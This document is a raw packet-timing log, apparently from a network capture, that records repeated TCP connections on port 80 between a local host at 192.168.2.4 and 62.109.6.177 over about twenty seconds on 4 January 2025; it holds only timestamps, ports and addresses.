Jan 4, 2025 13:39:53.011080027 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.022790909 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.027656078 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.047775030 CET	80	50972	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.135097027 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.139075041 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.143852949 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.147171021 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.147238970 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.151959896 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.365770102 CET	80	50972	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.365967989 CET	50972	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.375320911 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.380206108 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.380348921 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.503089905 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.507966995 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.507978916 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.507987022 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.708019018 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.828948975 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.842489958 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.842545986 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.959141016 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.959194899 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.081857920 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.081943989 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.082324028 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.087007999 CET	80	50973	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.087054968 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.087071896 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.087126017 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.087301016 CET	80	50974	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.087301970 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.087338924 CET	50974	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.092096090 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.443846941 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.448878050 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.448890924 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.448900938 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.777575970 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.828062057 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:54.906502008 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:54.953424931 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.026196957 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.026199102 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.031006098 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.031083107 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.031152010 CET	80	50975	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.031261921 CET	50975	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.031411886 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.036161900 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.390621901 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.395529985 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.395543098 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.395556927 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.735754013 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.781168938 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.866717100 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.921791077 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.981882095 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.982213020 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.986901045 CET	80	50976	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.986952066 CET	50976	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.986991882 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:55.987040997 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.987186909 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:55.991947889 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.343949080 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.349992037 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.350003958 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.350013971 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.665507078 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.756304026 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.798723936 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.906179905 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.918117046 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.918121099 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.923080921 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.923379898 CET	80	50977	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:56.923475027 CET	50977	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.923476934 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.923604965 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:56.928302050 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.281616926 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.286576033 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.286588907 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.286597967 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.629159927 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.718678951 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.764028072 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.820652962 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.895417929 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.896090031 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.900492907 CET	80	50978	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.900537014 CET	50978	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.900854111 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:57.900908947 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.901102066 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:57.905844927 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.250060081 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.254995108 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.255007029 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.255014896 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.611527920 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.656176090 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.744196892 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.796794891 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.844559908 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.844561100 CET	50980	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.851028919 CET	80	50980	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.851304054 CET	80	50979	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.853300095 CET	50979	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.853318930 CET	50980	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.853424072 CET	50980	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.859889984 CET	80	50980	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.870240927 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.870335102 CET	50980	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.875185013 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.881171942 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.881551027 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:58.886339903 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:58.915942907 CET	80	50980	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.235095978 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.240061045 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.240073919 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.240082026 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.380631924 CET	80	50980	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.383296013 CET	50980	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.665817022 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.718672991 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.800256968 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.843669891 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.937352896 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.937865019 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.942642927 CET	80	50981	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.942681074 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:59.942701101 CET	50981	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.945097923 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.945097923 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:59.949965000 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.296967983 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.301883936 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.301896095 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.301906109 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.639692068 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.687410116 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.769721031 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.769937992 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.774982929 CET	80	50982	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.775027990 CET	50982	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.889338970 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.894200087 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:00.897470951 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.897470951 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:00.902242899 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.250013113 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.254990101 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.255002975 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.255009890 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.658374071 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.721168995 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.796221018 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.871531963 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.929426908 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.929867029 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.935298920 CET	80	50983	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.935344934 CET	50983	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.936013937 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:01.936079025 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.936197042 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:01.941304922 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.283224106 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.288202047 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.288214922 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.288225889 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.629630089 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.671816111 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.765698910 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.813119888 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.885098934 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.885129929 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.889950991 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.890022993 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.890084028 CET	80	50984	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:02.890223980 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.890235901 CET	50984	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:02.895010948 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.234586954 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.243350029 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.243367910 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.243376970 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.580221891 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.718683004 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.739535093 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.837407112 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.858717918 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.859122992 CET	50986	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.863894939 CET	80	50985	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.863950014 CET	50985	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.864026070 CET	80	50986	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.864092112 CET	50986	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.864248037 CET	50986	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.869030952 CET	80	50986	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.891237020 CET	50986	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.891525984 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.896327019 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.896377087 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.896517992 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:03.901360035 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:03.939783096 CET	80	50986	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.021578074 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.026396036 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.026448011 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.026612997 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.031363010 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.250324011 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.255251884 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.255301952 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.336921930 CET	80	50986	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.336980104 CET	50986	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.375008106 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.379956007 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.379976034 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.379987955 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.577613115 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.624922991 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.706516981 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.720155001 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.749929905 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.813169003 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.852402925 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.925132990 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.963871956 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.963881016 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.965172052 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.968939066 CET	80	50988	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.969187975 CET	50988	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.969208002 CET	80	50987	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.970084906 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:04.973241091 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.973284960 CET	50987	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.973356962 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:04.978100061 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.333543062 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.338459969 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.338474035 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.338480949 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.658056021 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.705246925 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.790488005 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.843691111 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.919552088 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.919770956 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.924603939 CET	80	50989	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.924616098 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:05.924648046 CET	50989	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.924674988 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.924797058 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:05.929497957 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.281347036 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.286298990 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.286310911 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.286319017 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.641383886 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.687432051 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.776026964 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.829128981 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.901436090 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.901642084 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.906426907 CET	80	50990	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.906440973 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:06.906531096 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.906534910 CET	50990	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.906667948 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:06.911396980 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.265965939 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.271284103 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.271296978 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.271305084 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.603477001 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.723098040 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.730503082 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.848310947 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.868551970 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.868635893 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.873442888 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.873502016 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.873625994 CET	80	50991	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:07.873626947 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.873677969 CET	50991	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:07.878397942 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.226792097 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.231729984 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.231743097 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.231753111 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.563195944 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.629280090 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.694627047 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.742281914 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.806596994 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.806615114 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.811492920 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.811573982 CET	80	50992	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:08.814516068 CET	50992	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.814522982 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.817476034 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:08.822241068 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.173255920 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.178212881 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.178225040 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.178232908 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.516782045 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.563102961 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.650280952 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.703104973 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.719468117 CET	50994	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.719588041 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.724360943 CET	80	50994	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.724586964 CET	80	50993	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.724689007 CET	50994	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.724692106 CET	50993	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.724803925 CET	50994	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.729547024 CET	80	50994	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.776474953 CET	50994	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.779097080 CET	50995	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.784241915 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.787213087 CET	50995	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.787301064 CET	50995	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:09.792512894 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:09.827694893 CET	80	50994	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.140714884 CET	50995	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:10.145685911 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.145699024 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.145709038 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.212649107 CET	80	50994	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.212694883 CET	50994	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:10.466296911 CET	80	50995	62.109.6.177	192.168.2.4
Jan 4, 2025 13:40:10.560992956 CET	50995	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:40:10.594572067 CET	80	50995	62.109.6.177	192.168.2.4
